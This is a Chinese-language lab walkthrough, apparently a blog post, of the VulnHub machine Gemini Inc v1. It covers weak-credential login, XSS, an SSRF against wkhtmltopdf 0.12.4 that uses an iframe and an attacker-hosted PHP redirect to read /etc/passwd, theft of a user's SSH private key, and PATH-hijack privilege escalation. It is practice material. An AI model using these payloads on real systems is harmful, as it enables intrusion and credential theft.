USV:2017
项目地址:https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
是一个打包好的镜像文件
注意:导入 vmx 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

弱口令
Gemini Inc
扫描目录发现有一个 /test2

访问过去给了一个 GitHub 地址

拿到了项目源码

访问 80 端口,点击 Login

在初始化数据库的代码段中找到默认管理员账号

破解 MD5

弱口令 admin/1234 直接进去了

XSS
Edit info of admin
在后台编辑资料中尝试注入 XSS Payload

成功弹窗

SSRF
Export file(CVE-2022-35583 重定向绕过)
在管理员的个人中心中,有一个导出功能

可以将管理员信息导出为 PDF

在导出的 PDF 文件中,查看到了该组件的名称以及版本
1 | wkhtmltopdf 0.12.4 |

搜索发现存在 SSRF 漏洞,在存在 XSS 的输入点,注入一个 HTML 标签,让引擎尝试加载攻击者控制的远程资源
1 | <iframe src="file:///etc/passwd"></iframe> |

不过导出后没有发现 /etc/passwd 文件的内容
尝试看能不能打远程

可以明显看到支持远程请求

既然能支持远程请求,那么我们可以利用重定向绕过
手动创建一个 302 PHP 文件,将其重定向到 file:///etc/passwd
1 | header('location:file://'.$_REQUEST['url']); |
标签这么写
1 | <iframe height="2000" width="800" src=http://192.168.110.128:8080/302.php?url=/etc/passwd></iframe> |

成功读取到文件内容
提权
SSH 密钥泄露
发现有个用户 gemini1

尝试读取该用户 /home/gemini1/.ssh/id_rsa 私钥
1 | -----BEGIN RSA PRIVATE KEY----- |
成功连接上该用户

环境变量提权
查找属于 root 账号且有 suid 权限的可执行文件的时候,发现了 listinfo 命令

查看说明文档

提取可疑字符串

前三条命令都写的绝对路径,但是第四条命令 date 却没有写路径,所以可以利用这一点实现 Linux 环境变量提权
1 |
|
编译文件并命名编译后的文件名为 date
1 | gcc date.c -o date |
